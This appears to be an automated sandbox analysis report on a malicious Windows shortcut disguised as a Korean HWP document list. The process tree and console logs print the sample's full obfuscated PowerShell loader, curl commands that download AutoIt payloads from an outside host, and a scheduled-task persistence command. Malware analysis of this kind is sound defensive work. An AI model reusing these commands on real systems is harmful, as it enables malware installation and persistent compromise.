popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

소명자료 목록.hwp.lnk

Generic Malware Antivirus GIF Format AntiDebug MSOffice File Lnk Format AntiVM HWP
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6401 July 9, 2024, 6:19 p.m. July 9, 2024, 6:21 p.m.
Size 544.2KB
Type MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has command line arguments, Icon number=0, Archive, ctime=Mon Dec 25 02:39:35 2023, mtime=Sun Jun 30 21:20:58 2024, atime=Mon Dec 25 02:39:35 2023, length=245248, window=hidenormalshowminimized
MD5 a330b834cc2ec19c3e151f07fb4b877c
SHA256 7887cea2962c954ccb60d005da03abcf68962517d1b3e3d2a472f5d952a03f8e
CRC32 3AB9B691
ssdeep 768:ETIlBehrCjz3JFlg9NOpnRtnDfyIhiR6/:ETIlBexCjz3bW925y6iR6/
Yara
  • HWP_file_format - HWP Document File
  • Antivirus - Contains references to security software
  • Microsoft_Office_File_Zero - Microsoft Office File
  • lnk_file_format - Microsoft Windows Shortcut File Format
  • Lnk_Format_Zero - LNK Format
  • Generic_Malware_Zero - Generic Malware

  • cmd.exe "C:\Windows\System32\cmd.exe" /c start /wait "iYxNOhPj" "C:\Users\test22\AppData\Local\Temp\소명자료 목록.hwp.lnk"

    2644

    • cmd.exe "C:\Windows\System32\cmd.exe" /c for /f "tokens=*" %a in ('dir C:\Windows\SysWow64\WindowsPowerShell\v1.0\*rshell.exe /s /b /od') do call %a "$maybe=0;<#JoB RBSD#>$stormy=Get-ChildItem *.lnk;<#wZa ayet#>$stormy=$stormy|<#MCi JjUy#>where-object{$_.length -eq 0x000880ED};<#KqL hWRg#>$beat=$stormy;<#eIf DlNd#>$stormy=$stormy|<#Vmj JbzB#>Select-Object -ExpandProperty Name;<#TRE EPHd#>if($stormy.length -eq 0){$maybe=1;<#wPL TCwU#>$stormy=Get-ChildItem -Path $env:TEMP -Recurse -Filter *.lnk|<#IOX VnSL#>where-object{$_.length -eq 0x000880ED}|<#ZnO OGcu#>ForEach-Object{$_.FullName}|<#nwF TQEw#>Select-Object -First 1;<#OYo KmBu#>$beat=$stormy};<#oqA vqBc#>$complete=$stormy.substring(0,$stormy.length-4);<#prM umrS#>$group=[System.IO.BinaryReader]::new([System.IO.File]::open($stormy,[System.IO.FileMode]::Open,[System.IO.FileAccess]::Read,[System.IO.FileShare]::Read));<#DKL khBc#>try{$group.BaseStream.Seek(0x000014ED,[System.IO.SeekOrigin]::Begin);<#VhW OmTW#>$mouse=$group.ReadBytes(0x00006C00);<#evd tjKM#>}finally{$group.Close()};<#kxK ZKNG#>for($fault=0;<#lop NpTd#>$fault -lt $mouse.count;<#qwm vlWF#>$fault++){$mouse[$fault]=$mouse[$fault] -bxor 0x00};<#qBO PEsQ#>[System.IO.File]::WriteAllBytes($complete,$mouse);<#png ZFtI#>if($maybe -eq 1){$fail=$complete}else{$fail='.\'+$complete};<#rAV awgA#>& $fail;<#otl ksvY#>remove-item -path $beat -force;<#JWF XINa#>"&mkdir c:\VmulDna & attrib +h c:\VmulDna & cd /d c:\VmulDna & copy c:\windows\system32\curl.exe VmulDna.exe & VmulDna -k -o AutoIt3.exe https://executivedaytona.com/wp-admin/js/widgets/hurryup/?rv=bear^&za=battle0 & VmulDna -k -o NFHTmCb.au3 https://executivedaytona.com/wp-admin/js/widgets/hurryup/?rv=bear^&za=battle1 & s^ch^ta^sks /delete /tn "NFHTmCb" /f & s^ch^ta^sks /create /sc minute /mo 1 /tn "NFHTmCb" /tr "c:\VmulDna\AutoIt3.exe c:\VmulDna\NFHTmCb.au3"

      2748

      • cmd.exe C:\Windows\system32\cmd.exe /c dir C:\Windows\SysWow64\WindowsPowerShell\v1.0\*rshell.exe /s /b /od

        2856

      • powershell.exe C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe "$maybe=0;<#JoB RBSD#>$stormy=Get-ChildItem *.lnk;<#wZa ayet#>$stormy=$stormy|<#MCi JjUy#>where-object{$_.length -eq 0x000880ED};<#KqL hWRg#>$beat=$stormy;<#eIf DlNd#>$stormy=$stormy|<#Vmj JbzB#>Select-Object -ExpandProperty Name;<#TRE EPHd#>if($stormy.length -eq 0){$maybe=1;<#wPL TCwU#>$stormy=Get-ChildItem -Path $env:TEMP -Recurse -Filter *.lnk|<#IOX VnSL#>where-object{$_.length -eq 0x000880ED}|<#ZnO OGcu#>ForEach-Object{$_.FullName}|<#nwF TQEw#>Select-Object -First 1;<#OYo KmBu#>$beat=$stormy};<#oqA vqBc#>$complete=$stormy.substring(0,$stormy.length-4);<#prM umrS#>$group=[System.IO.BinaryReader]::new([System.IO.File]::open($stormy,[System.IO.FileMode]::Open,[System.IO.FileAccess]::Read,[System.IO.FileShare]::Read));<#DKL khBc#>try{$group.BaseStream.Seek(0x000014ED,[System.IO.SeekOrigin]::Begin);<#VhW OmTW#>$mouse=$group.ReadBytes(0x00006C00);<#evd tjKM#>}finally{$group.Close()};<#kxK ZKNG#>for($fault=0;<#lop NpTd#>$fault -lt $mouse.count;<#qwm vlWF#>$fault++){$mouse[$fault]=$mouse[$fault] -bxor 0x00};<#qBO PEsQ#>[System.IO.File]::WriteAllBytes($complete,$mouse);<#png ZFtI#>if($maybe -eq 1){$fail=$complete}else{$fail='.\'+$complete};<#rAV awgA#>& $fail;<#otl ksvY#>remove-item -path $beat -force;<#JWF XINa#>"

        2908

      • schtasks.exe schtasks /create /sc minute /mo 1 /tn "NFHTmCb" /tr "c:\VmulDna\AutoIt3.exe c:\VmulDna\NFHTmCb.au3"

        940

Name Response Post-Analysis Lookup
No hosts contacted.
IP Address Status Action
164.124.101.2 Active Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: C:\Users\test22\AppData\Local\Temp>
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: call
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe "$maybe=0;<#JoB RBSD#>$stormy=Get-ChildItem *.lnk;<#wZa ayet#>$stormy=$stormy|<#MCi JjUy#>where-object{$_.length -eq 0x000880ED};<#KqL hWRg#>$beat=$stormy;<#eIf DlNd#>$stormy=$stormy|<#Vmj JbzB#>Select-Object -ExpandProperty Name;<#TRE EPHd#>if($stormy.length -eq 0){$maybe=1;<#wPL TCwU#>$stormy=Get-ChildItem -Path $env:TEMP -Recurse -Filter *.lnk|<#IOX VnSL#>where-object{$_.length -eq 0x000880ED}|<#ZnO OGcu#>ForEach-Object{$_.FullName}|<#nwF TQEw#>Select-Object -First 1;<#OYo KmBu#>$beat=$stormy};<#oqA vqBc#>$complete=$stormy.substring(0,$stormy.length-4);<#prM umrS#>$group=[System.IO.BinaryReader]::new([System.IO.File]::open($stormy,[System.IO.FileMode]::Open,[System.IO.FileAccess]::Read,[System.IO.FileShare]::Read));<#DKL khBc#>try{$group.BaseStream.Seek(0x000014ED,[System.IO.SeekOrigin]::Begin);<#VhW OmTW#>$mouse=$group.ReadBytes(0x00006C00);<#evd tjKM#>}finally{$group.Close()};<#kxK ZKNG#>for($fault=0;<#lop NpTd#>$fault -lt $mouse.count;<#qwm vlWF#>$fault++){$mouse[$fault]=$mouse[$fault] -bxor 0x00};<#qBO PEsQ#>[System.IO.File]::WriteAllBytes($complete,$mouse);<#png ZFtI#>if($maybe -eq 1){$fail=$complete}else{$fail='.\'+$complete};<#rAV awgA#>& $fail;<#otl ksvY#>remove-item -path $beat -force;<#JWF XINa#>"
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: mkdir
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: c:\VmulDna
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: attrib
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: +h c:\VmulDna
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: cd
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: /d c:\VmulDna
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: copy
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: c:\windows\system32\curl.exe VmulDna.exe
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: VmulDna
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: -k -o AutoIt3.exe https://executivedaytona.com/wp-admin/js/widgets/hurryup/?rv=bear&za=battle0
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: VmulDna
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: -k -o NFHTmCb.au3 https://executivedaytona.com/wp-admin/js/widgets/hurryup/?rv=bear&za=battle1
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: schtasks
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: /delete /tn "NFHTmCb" /f
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: schtasks
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: /create /sc minute /mo 1 /tn "NFHTmCb" /tr "c:\VmulDna\AutoIt3.exe c:\VmulDna\NFHTmCb.au3"
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: The system cannot find the file specified.
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: 'VmulDna' is not recognized as an internal or external command, operable program or batch file.
console_handle: 0x0000000b
1 1 0

WriteConsoleW

 buffer: 'VmulDna' is not recognized as an internal or external command, operable program or batch file.
console_handle: 0x0000000b
1 1 0

WriteConsoleW

 buffer: Method invocation failed because [System.IO.BinaryReader] doesn't contain a met
console_handle: 0x00000023
1 1 0

WriteConsoleW

 buffer: hod named 'new'.
console_handle: 0x0000002f
1 1 0

WriteConsoleW

 buffer: At line:1 char:610
console_handle: 0x0000003b
1 1 0

WriteConsoleW

 buffer: + $maybe=0;<#JoB RBSD#>$stormy=Get-ChildItem *.lnk;<#wZa ayet#>$stormy=$stormy|
console_handle: 0x00000047
1 1 0

WriteConsoleW

 buffer: <#MCi JjUy#>where-object{$_.length -eq 0x000880ED};<#KqL hWRg#>$beat=$stormy;<#
console_handle: 0x00000053
1 1 0

WriteConsoleW

 buffer: eIf DlNd#>$stormy=$stormy|<#Vmj JbzB#>Select-Object -ExpandProperty Name;<#TRE
console_handle: 0x0000005f
1 1 0

WriteConsoleW

 buffer: EPHd#>if($stormy.length -eq 0){$maybe=1;<#wPL TCwU#>$stormy=Get-ChildItem -Path
console_handle: 0x0000006b
1 1 0

WriteConsoleW

 buffer: $env:TEMP -Recurse -Filter *.lnk|<#IOX VnSL#>where-object{$_.length -eq 0x0008
console_handle: 0x00000077
1 1 0

WriteConsoleW

 buffer: 80ED}|<#ZnO OGcu#>ForEach-Object{$_.FullName}|<#nwF TQEw#>Select-Object -First
console_handle: 0x00000083
1 1 0

WriteConsoleW

 buffer: 1;<#OYo KmBu#>$beat=$stormy};<#oqA vqBc#>$complete=$stormy.substring(0,$stormy.
console_handle: 0x0000008f
1 1 0

WriteConsoleW

 buffer: length-4);<#prM umrS#>$group=[System.IO.BinaryReader]::new <<<< ([System.IO.Fil
console_handle: 0x0000009b
1 1 0

WriteConsoleW

 buffer: e]::open($stormy,[System.IO.FileMode]::Open,[System.IO.FileAccess]::Read,[Syste
console_handle: 0x000000a7
1 1 0

WriteConsoleW

 buffer: m.IO.FileShare]::Read));<#DKL khBc#>try{$group.BaseStream.Seek(0x000014ED,[Syst
console_handle: 0x000000b3
1 1 0

WriteConsoleW

 buffer: em.IO.SeekOrigin]::Begin);<#VhW OmTW#>$mouse=$group.ReadBytes(0x00006C00);<#evd
console_handle: 0x000000bf
1 1 0

WriteConsoleW

 buffer: tjKM#>}finally{$group.Close()};<#kxK ZKNG#>for($fault=0;<#lop NpTd#>$fault -lt
console_handle: 0x000000cb
1 1 0

WriteConsoleW

 buffer: $mouse.count;<#qwm vlWF#>$fault++){$mouse[$fault]=$mouse[$fault] -bxor 0x00};<
console_handle: 0x000000d7
1 1 0

WriteConsoleW

 buffer: #qBO PEsQ#>[System.IO.File]::WriteAllBytes($complete,$mouse);<#png ZFtI#>if($ma
console_handle: 0x000000e3
1 1 0

WriteConsoleW

 buffer: ybe -eq 1){$fail=$complete}else{$fail='.\'+$complete};<#rAV awgA#>& $fail;<#otl
console_handle: 0x000000ef
1 1 0

WriteConsoleW

 buffer: ksvY#>remove-item -path $beat -force;<#JWF XINa#>
console_handle: 0x000000fb
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : InvalidOperation: (new:String) [], RuntimeExcept
console_handle: 0x00000107
1 1 0

WriteConsoleW

 buffer: ion
console_handle: 0x00000113
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : MethodNotFound
console_handle: 0x0000011f
1 1 0

WriteConsoleW

 buffer: You cannot call a method on a null-valued expression.
console_handle: 0x0000013f
1 1 0

WriteConsoleW

 buffer: At line:1 char:890
console_handle: 0x0000014b
1 1 0

WriteConsoleW

 buffer: + $maybe=0;<#JoB RBSD#>$stormy=Get-ChildItem *.lnk;<#wZa ayet#>$stormy=$stormy|
console_handle: 0x00000157
1 1 0

WriteConsoleW

 buffer: <#MCi JjUy#>where-object{$_.length -eq 0x000880ED};<#KqL hWRg#>$beat=$stormy;<#
console_handle: 0x00000163
1 1 0

WriteConsoleW

 buffer: eIf DlNd#>$stormy=$stormy|<#Vmj JbzB#>Select-Object -ExpandProperty Name;<#TRE
console_handle: 0x0000016f
1 1 0

WriteConsoleW

 buffer: EPHd#>if($stormy.length -eq 0){$maybe=1;<#wPL TCwU#>$stormy=Get-ChildItem -Path
console_handle: 0x0000017b
1 1 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005a8fe8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005a9568
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005a9568
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005a9568
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005a9768
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005a9768
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005a9768
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005a9768
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005a9768
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005a9768
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005a8fa8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005a8fa8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005a8fa8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005a9568
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005a9568
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005a9568
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005a8ba8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005a9568
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005a9568
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005a9568
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005a9568
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005a9568
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005a9568
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005a9568
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005a98e8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005a98e8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005a98e8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005a98e8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005a98e8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005a98e8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005a98e8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005a98e8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005a98e8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005a98e8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005a98e8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005a98e8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005a98e8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005a98e8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005a9828
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005a9828
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005a9828
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005a9828
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005a9828
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005a9828
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005a9828
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005a9828
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005a9828
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005a9828
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005a9828
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005a9828
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2908
region_size: 1966080
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02800000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2908
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x029a0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2908
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72891000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2908
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01eda000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2908
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72892000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2908
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01ed2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2908
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01ee2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2908
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x029a1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2908
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x029a2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2908
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fca000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2908
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01ee3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2908
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01ee4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2908
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0201b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2908
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02017000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2908
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01edb000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2908
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fc2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2908
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02015000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2908
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01ee5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2908
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fcc000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2908
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02990000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2908
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01ee6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2908
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0201c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2908
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fc3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2908
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fc4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2908
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fc5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2908
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fc6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2908
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fc7000
